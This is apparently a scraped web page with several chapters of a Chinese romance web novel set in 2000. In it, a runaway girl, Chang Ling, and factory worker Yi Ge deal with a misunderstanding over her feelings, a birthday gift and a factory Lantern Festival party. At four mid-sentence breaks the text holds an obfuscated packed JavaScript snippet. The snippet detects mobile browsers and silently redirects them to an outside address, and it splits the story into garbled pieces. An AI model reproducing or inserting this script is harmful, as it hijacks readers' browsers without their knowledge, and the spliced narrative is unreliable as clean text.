“哎哎哎。”毕小伟说,“三哥,咱都是成年人了怎么还抠门起来了,这样可不行。” “你是有钱花,我可得自己赚。” “你等会儿。”毕小伟仿佛突然想到什么,急忙说:“我看看挂历。” “看什么看,挂了。” “别!我去,今天初十啊三哥,明天你十八岁生日啊,大寿!” 昌灵蓦地看向他。 易阁不想看她,只敷衍着毕小伟的话,“行了,什么生日不生日的,我又不过。” 毕小伟听完暧昧地干咳了几声,“你不是不过,你是不愁没人陪你过。” 易阁果断挂了电话。 一瞬间,客厅里落针可闻。 昌灵最开始是不知道从哪开始说,但易阁始终不打算开口,昌灵也不想跟他在这僵持一晚上,她舔舔发干的嘴唇,轻声问:“明天是你的生日啊?正月十一?” “嗯。” “你是八三年的?” “八二。” “那我们同岁,我是冬月的,冬月初一。” 易阁心说我知道,你还在火车上让人给你算命来着。 见他又不吱声,昌灵尴尬地笑笑,“那个,说咱们两个处对象的事,我可以解释。” “那你解释吧。”易阁面无表情道。 这是生气了。 昌灵眨眨眼,脑海里快速闪过几套说辞,要怎么说易阁才能不那么生气呢? 易阁趁机瞄了她一眼,看她满脸心虚就知道这人没打算说实话,声音里带着警告:“昌灵,你别编,老实说从什么时候开始给我造谣的。我帮你买了车票还不够,你早就想好了后面也要把事甩给我家?” 昌灵闻言皱了下眉,这从何说起啊? 她和易阁的思考维度好像没接上,但不妨碍昌灵先坚决否认道:“我不是,我没有。” “那你为什么要跟你同桌说,你跟我跑了?” “我……”昌灵有点不想承认当时是她的虚荣心作祟。 如果要解释她利用同学,就要从利用同桌‘想知道易阁女朋友是谁’这一点开始,可她事后随便写一个假名字就可以,根本没必要写自己。 说白了无非就是班里的女生看不起她,嘲笑她只能嫁给老男人。而易阁,是最能让她在这方面拔高自己的人。 女生都喜欢他,他却带着自己逃跑。 “说话啊。” 听见易阁的质问声,昌灵忽然觉得委屈。只不过是写了个名字而已,有必要这么不依不饶吗。 她忍着没让眼泪掉下来,沉默间骤然想到了一个合理又能让自己占上风的答案: “那时候我想着,反正都是要走的,学校里的人怎么说我都无所谓。 “她们发现了我要逃跑,就问我为什么,好好嫁人不行吗,我只好说我有喜欢的人了,我要跟他一起走。 “后来她们大概是发现我们两个人同时不见了,所以才联想到一起。” 昌灵自认为撒了个无足轻重的小谎。 反正她之前在学校被人怎么议论易阁都是清楚的,她都说了其他人怎么说自己无所谓,易阁要是再计较,未免显得小肚鸡肠了些。 果然不出昌灵所料,易阁听完怔愣了好半晌,久久没有说话。 昌灵小声试探道:“你怎么不说话了?” “……啊?” 易阁心乱如麻。 他回神后立刻慌乱地移开视线,说:“啊行,我知道了。这事就当翻篇了,我,我去煮点面条。” “哎别。”昌灵起身抹了把脸,“我去吧,就当是我补偿你,行吗?” 易阁欲盖弥彰地灌了杯水,说“行”。 昌灵做饭他洗碗。趁昌灵去洗澡的时间,易阁光速洗完了碗冲到床上锁好门盖好了被子。 他从没觉得自己是个细心的人,今晚却神奇地捕捉到了昌灵话里话外的意思。 ——她有喜欢的人,她要跟喜欢的人一起走。 易阁扑腾着翻了个身,他就是个傻子也能听出来,昌灵喜欢他。 苍了天了,怪不得这段时间他老觉得昌灵对自己好的不得了,做饭扫地都任劳任怨的。 可是。 易阁不觉得自己喜欢昌灵。 ** 一连三天,昌灵跟易阁连个照面都没打。他在躲自己,昌灵察觉出来了。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535019|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她无所谓。 早点摊从凌晨三点到八点,再加上店里和摆摊,一天二十四小时,她有大半时间都在工作,并且没赚到什么钱。根本没空想易阁的事。 再说她也不觉得自己写个名字易阁的天就能塌了,无非是觉得自己‘污蔑’了他的清白,顶多生两天气也就没事了。 比起这些,昌灵更担心的是她渺茫的前途。 刚送年那会儿,房东踩着点上门拜年,说希望他们交一年的房租,不然多少都要涨一点。就算易阁出大头,昌灵也很难一下子拿出这么多钱。 她心里烦,伸手扯了扯摊位上的裤子,干在这浪费时间,连个看衣服的人都没有。 “小灵,你跟王姐是怎么回事啊?”今天跟她搭伙的同事跟昌灵差不多大,憋了半天还是忍不住好奇地问。 昌灵头也没抬,“什么怎么回事。” “你俩以前不是挺好的吗,这几天都没说过话吧?” “说过吧。”昌灵想了想,“说了好几句呢。” “这能一样吗,她以前家里有点什么事,孩子有点什么事,都是拉着你说,现在……” 昌灵:“她家的事你很想听啊?” “没有,我不是那个意思。” 昌灵不想说,只重复说没什么事。北风刮得她脸疼,不想张嘴,也不想抬头。 所以面前呼啦啦走过一群人时,昌灵首先看到的是五颜六色的高跟鞋——片刻后又咯噔咯噔折返了回来。 “昌灵?” ? 昌灵眯着眼睛抬起头。 “还真是你啊。”冷风里,黄燕穿着一件呢大衣跺了跺脚,脸上带着点笑意:“你怎么在这呢?” 看不出是不是嘲笑。 “燕姐,你们认识啊?”见昌灵不说话,黄燕身后的小姐妹出声问道。 黄燕随手理着她被风吹乱了的大波浪,问昌灵:“咱俩算认识吧?” “当然认识。”昌灵用力掐着手指里侧,笑着说。 “你不是在百利吗,百利已经落魄到要在天桥摆摊的地步了?” 果然是嘲笑。 昌灵听着心里难受,但嘴上仍是说:“摆个摊而已,谈不上落不落魄。” 黄燕:“是吗?” “燕姐,有过节?”她身旁的人往前走了一步,上下打量了一番昌灵。 黄燕淡淡地反问说:“没有吧?” 昌灵:“有吗?” 黄燕盯着她看了一会儿,片刻后意味不明地笑笑,“那我看看衣服?” “您看您看。”不等昌灵说话,同事立马蹲下身体招呼她,“这些都是我们刚进的新款,质量很好的,你是昌灵的朋友吧,可以打折的。” “这么好呀,那我拿两条裤子吧。”见黄燕真的要买,她身后的小姐妹也凑上来翻看。 十分钟后,黄燕拎着两条用大红塑料袋装的裤子,冲昌灵招了招手。 顶着‘朋友’的名义,昌灵只好朝她走近了两步。 黄燕:“怕什么,我又不会吃了你。” 昌灵垂下眼睫,“你还想说什么?” “你那个同事说咱俩是朋友呢。”黄燕顿了顿,“昌灵,你说,咱俩是朋友吗?” 25. 2000 易阁下班前上交了这几天汇总的违纪表。年刚过完,人心有些浮动,表填得比以往都要满,但幸好没什么人来找他说情。 这让易阁稍稍松了口气。 换了工作服,他去食堂打了四个包子。昌灵这几天回来的都很晚,不需要准备她的饭,这也给易阁省去了不少麻烦。 ——他实在是不知道该怎么面对昌灵。 从前在学校,易阁拒绝过的女生不在少数。不管是当面告白,还是委婉地递情书,他都能处理得很好。 唯独昌灵,同住在一个屋檐下,从‘得知’这一消息开始,易阁就有点惆怅、有点迷茫。 像之前那样强硬地拒绝,恐怕会伤到昌灵的自尊心;可若是装作不懂她的心,继续理所应当地享受她的好,那自己也太混蛋了。 这份迷茫在他生日当天清晨看见桌子上留了两个鸡蛋时达到了顶峰。 昌灵那么早上班,居然还记得给他煮两个鸡蛋庆祝生日,易阁心里警铃大作。 他犹豫再三,还是在昌灵收摊回来前揣着两个鸡蛋跑了,连个‘谢谢你’的字条都没敢留。 晚上下班后又在办公室磨蹭到九点多才往回走,易阁觉得这个时间昌灵应该洗漱完躺好了,他进了门直接闷头往房间走,如果昌灵跟他搭话,他就说自己加班太累了有什么话等明天再说。 可惜人算不如天算,那天家里迎接易阁的,只有漆黑一片。 人家是真忙,不像他内心戏这么多。 但今天昌灵似乎回来得早一些,易阁往下拉了拉被子,眼睛瞪得老大,竖起耳朵仔细听客厅的动静。 砰的一声,钥匙被她扔在了茶几上。 易阁:? 好像不对劲。 之前昌灵进门都是尽量放轻声音的,怕影响他休息。今天这是怎么了? 不高兴? 易阁往床边翻了个身,想听得更清楚些。 在静谧无声的夜晚,一门之隔的房间里,易阁敏锐地捕捉到了一声很轻很轻的叹息,像是无可奈何。 她遇到麻烦事了? 易阁反复坐起又躺平三次,脑海里有两道声音来回拉扯。左边的说不喜欢别人就不要做一些奇怪的举动让她产生错觉。而右边,只一味问他:你不想出去看看吗?你不想出去看看吗? 想的,我想的。 易阁随即掀开被子蹬上拖鞋,一把拧开房间的把手,和客厅里正在往衣架上挂外套的昌灵四目相对。 “……”相顾无言。 昌灵看见自己也没什么多余的表情,见他一动不动地杵在门口,问:“怎么,我吵醒你了?” “没有!”易阁急忙摆摆手,“我还没睡呢。” 昌灵:“噢,那早点睡吧。” 看!易阁想,果然是出什么事了!她都不爱跟自己说话了。 他果断搬了个马扎坐好,想了想又主动询问道:“你饿不饿,晚上吃饭了没?” “不饿。”昌灵说。 “没吃?厨房里还有个包子,你可以放锅里热热。” 昌灵拒绝了他的提议,只说不用了,不想吃。 看来出的事还不小。 易阁把马扎往前挪了挪,“那个,你今天是遇见什么事了吗,要不要和我说说?” 昌灵闻言扫了他一眼,半晌叹气道:“也没什么事,就是今天多赚了点钱。” 多赚钱?“那你不高兴?” “赚的是黄燕的钱,她和她、朋友们一起买的。” “黄燕?”易阁猛地站了起来,“她怎么去你那了?找你麻烦了?” 昌灵摇了摇头。 “那怎么突然遇上她了。”易阁一想到上次的事还心有余悸,眉头紧锁,“要不然晚上别去摆摊了,你们几个女孩,这么晚回来太危险了。 “还有那个黄燕,她不是什么省油的灯,如果之后故意带着人去找你的麻烦怎么办。” 昌灵说:“应该不会。” “你怎么知道不会?” “她们平时都是上夜班的,今天应该就是偶然路过,没那么闲吧。”她说,“要不然也不至于我们摆了这么多天摊才遇见。” ……也有道理。 但,“你们平时店里赚得钱也够了吧,没必要摆摊到这么晚吧?” 昌灵按了按太阳穴,有气无力道:“我们这是个体商户,和你们那种大单位怎么比得了,摆不摆摊哪是我们这些小虾米说了算的。” 易阁:“你们老板逼你们摆摊?这不是压榨劳动人民吗!” 昌灵苦笑了下,她能有什么办法,端人家的碗,就要受人家的管。 “对了。”她忽然想到什么,“你等一下啊。” 易阁:“啊?” 只见昌灵把她的编织袋从沙发底下拖出来,低着头在里面一通翻。 易阁好奇地伸长了脖子,找什么呢? 片刻后,她从最底下扯了一件浅蓝色的衣服出来。想来是压在底下有一段时间了,上面已经出现了清晰的折痕。 昌灵展开抖了抖,二话没说递到了他面前。 易阁一愣:“给我的?” “不然呢。” 易阁迟疑地伸手接过来,眼神在昌灵和衣服之间来回打转,“这是?” 昌灵眨巴了几下眼,说:“就当是你的生日礼物吧,十八岁嘛,成年了。” “生日礼物?”易阁手指无措地摩挲着衣服布料,问:“你什么时候买的?” 昌灵:“你别管。” “……特意买给我的?” 昌灵被逗笑了,“要不然呢,我买男装给自己穿啊?” 还没等易阁再问点什么,昌灵就催促他很晚了赶紧睡吧,她也要去洗漱睡觉了。说着转身进了洗手间,只剩易阁举着衣服呆愣愣站在原地。 一早就、特意、买给他、的新衣服。 “我靠。” 易阁倒吸一大口气,目不斜视举着衣服平移回了房间里。 昌灵这份深厚的情谊,他怎么对得起。 ** 昨天晚上昌灵在,易阁也不太好意思试穿。早上一睁开眼,他立刻翻身套上新衣服准备去洗手间照照镜子。 浅蓝色的,从小到大还没穿过这种颜色。 易阁低头仔细抚平了衣领,嘴角带着点不自觉的笑意。衣服袖口带着松紧带,尺码正好,不卡手腕。 这昌灵,眼光不错,还挺会买。 他正想着,伸手就要推开洗手间的门,却猝不及防和里面的昌灵打了个照面。 ? 易阁的手僵在门把手上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535020|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里怎么有人在啊?! “早上好,要用洗手间吗。”昌灵转过脸看他,看见衣服蓦地眼前一亮,“哎?你现在就穿吗,会不会有点薄?” “……不会。”易阁讷讷道。 就是有点尴尬。 昌灵反身擦干了手,揪着易阁的袖子就往外走,“出来出来,我看看。” 易阁一脸生无可恋地跟着她走。 客厅的灯光打在身上,昌灵眼里的欣喜一览无余。她说:“我怎么感觉你比以前黑了一点。” 易阁:“有吗?” “有吧,也可能是这个灯光有点显黑,等你在阳光下会好一些。” 易阁闻言抬眸瞅了一眼头顶的暖黄灯泡,“要不改天去买个白炽灯?” 昌灵无所谓地点点头,眼神始终粘在他身上打量衣服的边边角角。 易阁被她看得有些不自在,后退一小步拉开距离,单手扶着后脖颈,说:“那个,昨天忘了谢谢你,我很喜欢。” “谢什么,你喜欢就好。”昌灵说,“但这件还是等天暖了穿在外面比较好,套在棉袄里面会压出褶子。” “好。” 易阁说着眼神转向别处,沉吟片刻突然想到这个时间昌灵怎么在家,于是问她:“你今天不用去早点摊吗?” 昌灵嗯了一声,“摊子的老板说现在没有年前客人那么多了,就不需要我了。” 易阁不理解,“早点摊也受节假日的影响?” “我觉得不受。”昌灵摊摊手,“就当他们给我找了个体面的借口吧,我能接受。 “算了不说这些了,你去洗脸吧,我煮面条。” 易阁想了想,“要不还是我煮吧。” 他实在不愿意连吃带拿的,搞得好像自己欠了昌灵一样。 昌灵:“不用啊,我上午又没事。” 无法,易阁只好回房间脱了外套乖乖去洗漱。至于好像亏欠了昌灵些什么,只好以后想另外的办法补上。 ** 易阁刚进三九八的大门就被后勤主任从后一把揽住了肩膀。 “易阁你小子,整天神出鬼没的,想逮住你还真不容易。” 他看清来人后笑着移开了主任的胳膊,说:“主任,我可没犯什么事吧。” “单位的元宵晚会还不是大事?我听他们说来找你好几回了,你就是不上台?” “我没才艺怎么上台,主任,您这不是为难老实人吗。” “装什么老实人!” 从门口到车间更衣室这段距离,主任给他细数了三九八历年元宵晚会的精彩节目和抽奖项目,并表示易阁空有一张帅气的脸是不行的,集体荣誉感也很重要。 另一方面,晚会更是结交厂里的单身女孩,解决人生大事的好时机。 易阁倚着更衣室的门,无可奈何地说:“主任,我才十八,还不到解决人生大事的时候呢。” “你怎么那么不开窍啊。”主任临走前恨铁不成钢地拍拍他的肩膀,“别找借口了啊,就算不上台明天晚上你也得来。” 易阁:强买强卖。 等他换好工作服迈进车间时忽然想到,既然元宵晚会这么精彩,那他能不能带厂外人员过来看? 正月十五,昌灵少摆一天摊应该没事吧。 26. 2000 那件衣服原本是想着下次有求于易阁的时候再送给他的,昌灵想了想,当生日礼物也不算亏,也就没放在心上。 今天店里的客流量又创历史新高,除了楼上新开业了一家五金店下来挨门挨户送名片,竟然一个生面孔都没有。 “再这样下去,恐怕咱们店里也用不了这么多人了。”同事边整理货架边唉声叹气道。 昌灵闲来无事翻了翻进出货的登记单,发现最近的收入都是摆摊占了大头,继续这样下去,恐怕这个店干不了多久就要黄。 得提前想个新出路才行。 “小灵。”昨天一起摆摊的同事神神秘秘凑过来,问:“你那些朋友是干嘛的啊?她们是一个单位的吗?” 昌灵侧目看了她一眼,淡淡地说:“是吧,你觉得像干什么的?” “不知道,但她们穿得那么好,应该挺有钱的吧?” 昌灵把登记单放好,说“不知道”。 “她们人那么多,又年轻又漂亮,对衣服的需求量肯定高啊。”同事说,“咱们可以每次进了新款都给她们留着,价格也好商量,你要不要问问她们?也算是稳定的客源嘛。” 昌灵想也没想:“不合适。” “怎么不合适?她们昨天买的那些衣服都顶我们两天的目标了,还是你觉得不好意思跟她们谈?” “……” “没事儿,你可以把她们的工作单位告诉我,我去聊。成了的话,提成咱俩……四六分!怎么样?” “姐。”昌灵没忍住笑了下,“你还真觉得那是我朋友?” “……不是吗?” “不是。”昌灵夸张道,“其实我们是仇人。” “啊?!”同事听完瞪大了眼睛。 “所以这两天摆摊我就先不去了,她们要是再来,问起来,你就说我不干了。” “这,至于吗?我看她们人还行啊,不像跟你有什么恩怨的样子。” 昌灵笑笑:“你货架擦完了?我帮你洗抹布去吧。” “哦行,谢谢你啊小灵。” 出了店门拐到下一排商铺,确保店里的人看不到她之后,昌灵才叹了一口气。她的同事一个个都跟人精似的,昨天黄燕身边的人都能看出来她们两个人有过节,这些人能看不出来? 居然让她去找黄燕,还嫌场面不够难堪吗? ** 昌灵难得准时准点下一回班,小区外面摆夜摊卖炒货的摊子都还没散。她路过称了一点儿糖炒栗子,热乎的,抱在怀里人也暖和不少。 也不知道易阁下班了没有,过完年他好像也一直在加班。 拍亮了楼道里的灯,昌灵从包里找出冰凉的钥匙怼进锁孔里。出乎意料的,刚拧了半圈,锁芯就转到了底。 她开门的手一顿,明白是家里有人。 这么巧,易阁今天也不加班? 想到这昌灵眉心皱了一瞬,片刻后轻轻打开门。 原本客厅暖黄色的光已然变成了亮白色,地面上遗留的几根未打扫干净的长发都清晰可见。 易阁听见开门声从厨房出来,见到她也很惊讶,“你今天没摆摊?这么听话?” 听什么话? 昌灵抱着栗子顾不上换鞋,问他:“你今天不加班吗?” 易阁闻言张了张嘴,半晌才说:“啊对,正好今天回来得早。” 昌灵点点头,面无表情地想: 在说谎。 “那个,我煮面条呢,来点?”易阁问道。 “可以。” 昌灵不知道易阁为什么连加不加班这种事也要撒谎,但她窥探欲很低,没有继续追问的欲望,只补充说:“我还买了点栗子,你要是想吃,我就都一起剥壳。” 易阁:“好啊,那你先剥着。” 昌灵脱了外套正要去洗手,只见易阁攥着煮面条的筷子又从厨房跑了出来,说: “要不你煮面条吧,我剥栗子。” “嗯?”昌灵疑惑地歪了下头,“为什么?” 易阁别别扭扭地说没什么,反手把她推进了厨房里。 直到昌灵打开冰箱取葱油,看见角落塞着的几袋奶时忽然鬼使神差地想到,易阁这么殷勤地剥栗子,会不会是想多偷吃几个啊? 就像她说自己不喝冰牛奶,易阁立马把剩下的几袋都放进冰箱里一样。 虽然拆箱时他们说好了牛奶是平分的。 昌灵摇摇头,和她弟一样。 毕小伟的电话是在接近十点时打来的,昌灵刚拧干了水在阳台晾衣服。 易阁接起电话后过来喊了她一声,昌灵说“马上”。 “那我免提,你能听到吧?” “能。”昌灵放轻了挂衣服的动作,降低了身边的杂音。 一时间家里只剩下毕小伟的声音。 原来昌灵逃跑当天,王德富就带人去昌家闹了起来,还失手打碎了一扇玻璃—— “我告诉你们,今天不把昌灵交出来,这事我们没完!” “德富,德富。”昌家大哥把怒气冲冲的妹夫拉到一边,和稀泥道:“你这一出是什么意思啊?昌灵不是跟你出去了吗?” “大舅哥,你别告诉我你不知道昌灵跑了?!而且她还偷走了我的自行车!” “她一个小姑娘怎么跑?是不是镇上人太多走散了啊。” “你少来这套!” 哇的一声,小弟吓哭了。 …… 如此,昌家度过了一个热闹非凡、人声鼎沸的阳历年。 过了元旦假期,昌家老太太就带着孙子闹到了学校里,让小孩在教室讲台上坐着干嚎,她自己则在办公室门口拿菜刀抵着脖子,非说昌灵去了学校之后就失踪了,学校必须把昌灵交出来。 吓得校长和几个主任在大冬天里全都出了一脑门汗。 学校心惊胆战了两天,老太太又突然不声不响消失了。毕小伟跑村里去打听,才知道那几天昌家对外宣称昌灵死了——被王德富克死的。 连尸/体都没找到。 至于昌家到底还没还彩礼,毕小伟没打听到。只知道王德富克妻的名号算是在四里八乡出了名,他现在娶个媳妇都费劲。 毕小伟绘声绘色讲完又幽幽说道:“三哥,你小心点吧,昌家没一个善茬。 “你想,王德富那是什么人,做生意的哎,愣是让她家活生生摆了一道。” 昌灵晾完衣服倚在门框上,听到这话缄默不语。 反倒是易阁,当即手忙脚乱地关掉了免提:“行了,没别的事我挂了。” 挂断电话他沉吟片刻,对昌灵说:“毕小伟胡说八道的,你别放在心上。” 昌灵抿着嘴笑了下,“他说的是实话。” ——这话听起来好像没生气。 易阁见状立刻转移了话题,“那个,明天十五了。” “我知道。”昌灵说,“十五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535021|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了?我不会包汤圆。” “不是这个意思。” “那怎么?” 易阁额头抵在指尖上,没看昌灵,只说:“我们厂子组织了一个元宵晚会,你想不想去看?” “晚会?”昌灵眼前一亮,“我可以去吗?你也有节目吗?” 太好了,她想去。 易阁松了口气:“晚上六点半开始,你要不请个假?” 昌灵兴奋地点点头。 “那我下了班在单位门口等你吧,咱们一块儿去食堂吃晚饭。” “好哎!”昌灵一口应下,“我还没去过那么大的厂子呢。” ** 易阁揣着兜等在三九八大门口。 陈家旺下班前就混了进去,说先去食堂给他们两个人占座。今天来了很多同事家属,食堂里座无虚席。 “易工等谁呢?我看陈师傅的儿子早跑进去了。”隔壁车间等家属的同事蹲在树下与他闲聊说。 易阁:“朋友。” “朋友?你不会有对象了吧?” “……”不知道出于什么心态,易阁抓了抓头发,扭过脸装作没听到。 “哎呦。”同事似乎当他默认了,打趣道:“我之前还听办公室的小姑娘打听你呢,这下她们可要伤心了。” “伤什么心啊。”易阁笑笑,“说我就算了,别拿人家小女孩瞎开玩笑哈。” 说话间,同事的家属已经到了。易阁正想跟他说再见,转头却见同事没有要走的意思。 易阁:? “嘿嘿。”同事不好意思地笑了声,“我们在这陪你等等呗,快来了吧?” 易阁挑眉轻笑,随他吧,路又不是自己修的,人家等在这里他也无权干涉。 昌灵的身影出现在街边拐角时,夕阳还剩下最后一层余晖。通红的霞光映在她深蓝色的衣领上,穿梭在轻快的步伐之间。 易阁嘴巴微张,突然忘记自己原本想要说什么。 “看什么呢?”昌灵走近扫了他一眼,好奇地向他身后探头望,“我没来晚吧,可以进去了吗?” 她深蓝色的衣领不停地在易阁眼前晃动。 “说话啊。”没听见回答,昌灵微微皱眉抬头看他。 “啊?啊……”易阁抿了下嘴唇,“晚、晚上好。” ? 好什么好。 昌灵伸出手在他面前晃了晃,莫名其妙道:“你想什么呢?” “易工,这不给介绍一下?”易阁身后有人笑着说。 眼见易阁还在神游,昌灵礼貌地朝对方点了点头,“你好,我是易阁的朋友。” “你好你好,我是他同事,这是我老婆。” 昌灵:“嫂子真漂亮。” “小姑娘真会说话,快进去吧,还没吃晚饭吧?” “是呢,你们先去吧。” 替他送走了同事,昌灵收敛了嘴边的笑意,问:“你到底怎么了?等太久了?我没来晚啊。” 易阁这才清清嗓子把脸扭向一侧,半晌低声说:“没有,我刚才在想别的事。” 昌灵眼神示意他走不走? “走。”易阁做了个请进的手势,自己跟在她身后。 昌灵的头发长长了很多。 刚才大脑空白的片刻时间里,他蓦然想起了从前学过的一句诗词: 晓看天色暮看云。 只是易阁怎么也想不起后半句了。 27. 2000 “表妹,这边!” 陈家旺今天在黑色外套里搭了一件夸张的蓝色花衬衣,配上他奔放的长卷发,在人群里咋咋唬唬格外显眼。 昌灵有些意外地低头扫了一眼自己的蓝衬衣,居然跟他撞色了。 待人走近,陈家旺起身把里面的位置给昌灵让出来,抱怨说:“你们怎么才来啊,我在这等半天了都,凳子都让我坐热乎了。” 易阁在昌灵对面坐下,面无表情道:“你哪那么多话。” “行行,我不说了。”陈家旺伸出手,“把你餐券给我,我给我妹打饭去,灵儿想吃什么?” 昌灵朝四周打饭的窗口张望,片刻后说:“我跟你一起去吧,让他自己在这等。” 陈家旺:“行啊。” 易阁不挑食也没意见,把口袋里的餐券一股脑全递给昌灵。 “这么多。”陈家旺打了个响指,“等着啊,我们把这最好吃的都给你买回来。” 昌灵跟在陈家旺后面笑,问他道:“哥,你经常来三九八吃饭啊?” “我从小就在这片混大的。”陈家旺说,“那时候厂子里管的没这么严,我们这些职工的孩子随便进。不过现在不行了,都大货车,大机械,小孩进来容易有危险。” 昌灵点点头,真好。 “可惜这里是机械厂,我要是能找个这样的工作,那真是做梦都能笑醒了。” “又累又脏的有什么好。”陈家旺问,“怎么了,你们那里生意不景气啊?” “年一过完肯定有影响,过一阵儿能好些吧。”昌灵说着叹了口气,“但挺没意思的,福利待遇也没有,钱也发的少。” 陈家旺抿着嘴一琢磨,“你这是想换工作啊?” 昌灵蓦地笑了声。 “还真是啊?”他继续说,“你想让我帮你找?” 和聪明人说话就是容易。 昌灵不好意思地笑笑,“我这还要交房租,卖衣服那几个钱真是不太够。哥你朋友多,有没有什么上午的班能让我打个缺儿?” “只干上午啊?”陈家旺略微思索片刻,“行,你等我回去给你问问,有什么消息给你打电话。” “好,那先谢谢哥了。” “客气啥。”陈家旺拉着她往前挤,“快看看你想吃什么。” ** 陈家旺说他再去另一边抢几个馒头,让昌灵和易阁先吃不用等。和吵闹的大环境相比,只有两个人的桌子就显得十分安静。 易阁破天荒地主动说:“你今天都干嘛了,不上班还来得这么晚。” 昌灵抬眸看着他:“我没迟到。” “没说你迟到,我的意思是你又没什么事,怎么不早点过来吃饭。” “我怎么就没事了?”昌灵觉得冤枉,“早点摊干不了了那我不得找新工作吗?” 易阁:“有时间合适的?” “没有。”昌灵说,“年过完了,哪哪都不缺临时工。” 也是。 易阁安慰她道:“也不着急,慢慢来吧。” “很急,再慢点房租都要交不上了。” 易阁一怔,差点忘了这个。 只不过现在他手里也没多少钱,没办法再说我可以先替你垫上这种话。 “所以我刚才拜托了一下家旺哥。”昌灵说。 “陈家旺?”易阁微微蹙眉,“他能干什么?” “他朋友不是海了去了吗,看看有没有什么适合我的工作。” “他自己都没有正经工作,还能帮你?” 昌灵撇撇嘴,半晌认真地说:“不适合他的工作未必不适合我。” 易阁咬着筷子,被她说得哑口无言。 “易工,带朋友来了?” 此时不远处有人跟易阁打招呼,昌灵同他一起转头朝声音来源看过去。 “哎?!”看到昌灵的脸那人顿时睁大了眼睛。 昌灵稍稍偏了下头,好像有些眼熟。 易阁敷衍地“啊”了一声,心道:坏了,是谁不好,怎么偏偏是岳金平。 “易工,你不是说不认识她吗?”岳金平笑得有些勉强。 昌灵:? 易阁面不改色装作没听懂,“什么不认识?” “这就是我上次跟你说那个。”岳金平小声暗示道。 昌灵闻言挑了下眉,这话怎么听都觉得好像跟自己有点关系呢。 于是她问:“我们是不是在哪见过?” “对。”岳金平闻言高兴地咧了下嘴,“过年那天,在你家楼道里。” ——跑起来像被‘狗’撵和第一声“新年快乐”。 昌灵恍然大悟:“是你呀,你也在三九八上班?” “你记得!”岳金平欣喜地朝前走了两步,自我介绍说:“我是易工的同事加朋友,我叫岳金平,你们是……朋友啊?” 昌灵不动声色地快速扫了一眼易阁,照这样看,应该是那天岳金平和他询问过自己的情况,但易阁没说。 这下尴尬了吧。 她压下嘴边的笑意,抬手指指迎面走过来的陈家旺,好心替易阁解围,和他撇清了关系,说:“我是跟他一起来的,是他的表妹。” 陈家旺不明所以但十分配合,往昌灵面前放了个馒头,“对,这是我表妹,怎么了。” “啊,原来是家旺的表妹啊。”岳金平立马转变了态度,和颜悦色道:“之前怎么没听你提过,居然还有这么漂亮的亲戚。” 昌灵想,自己漂亮吗?假的吧。 陈家旺不满地啧了一声,“咱俩很熟吗,家旺也是你叫的?我表妹长得好不好看还得知会你?干脆我家户口本也给你看看好不好?” “我不是那个意思,家旺哥。”岳金平被怼了也不生气,笑着说:“咱俩怎么说小时候也当了好几年邻居,今天都凑一起了,正好易工也在,你不给我们介绍介绍?” 昌灵一听,和陈家旺当过邻居?那不就是城里人?多个朋友多条路…… 陈家旺说:“不介绍,你有嘴不会自己问啊。” 听到这,易阁稍微松了口气,起码更尴尬的局面没有发生。至于昌灵,既然她喜欢自己,应该不会…… “我叫昌灵,你刚说你叫什么来着?” 易阁:“???” “岳金平,我叫岳金平。岳飞的岳,金子的金,平原的平。” 昌灵点点头说记住了。 “昌灵?你名字真好听。”岳金平笑得更开心,问:“你在哪里上班呀?今天也是来看晚会的吗?” “嗯。”她没回答前半句,也没觉得自己名字哪里好听。 “你有电话吗?可以留个联系方式,有空一起出来玩。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535022|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈家旺闻言翻了个白眼,在桌子底下碰了碰易阁的腿,意图不明。 为易阁原本就复杂的心绪多添了一丝堵。 ** 如果不是礼堂的坐区是一早就分好的,岳金平过不来,否则很难说他不会粘着昌灵一晚上。 “真能絮叨。”陈家旺让昌灵坐在他和易阁中间,自己把腿搭在前排座椅上。 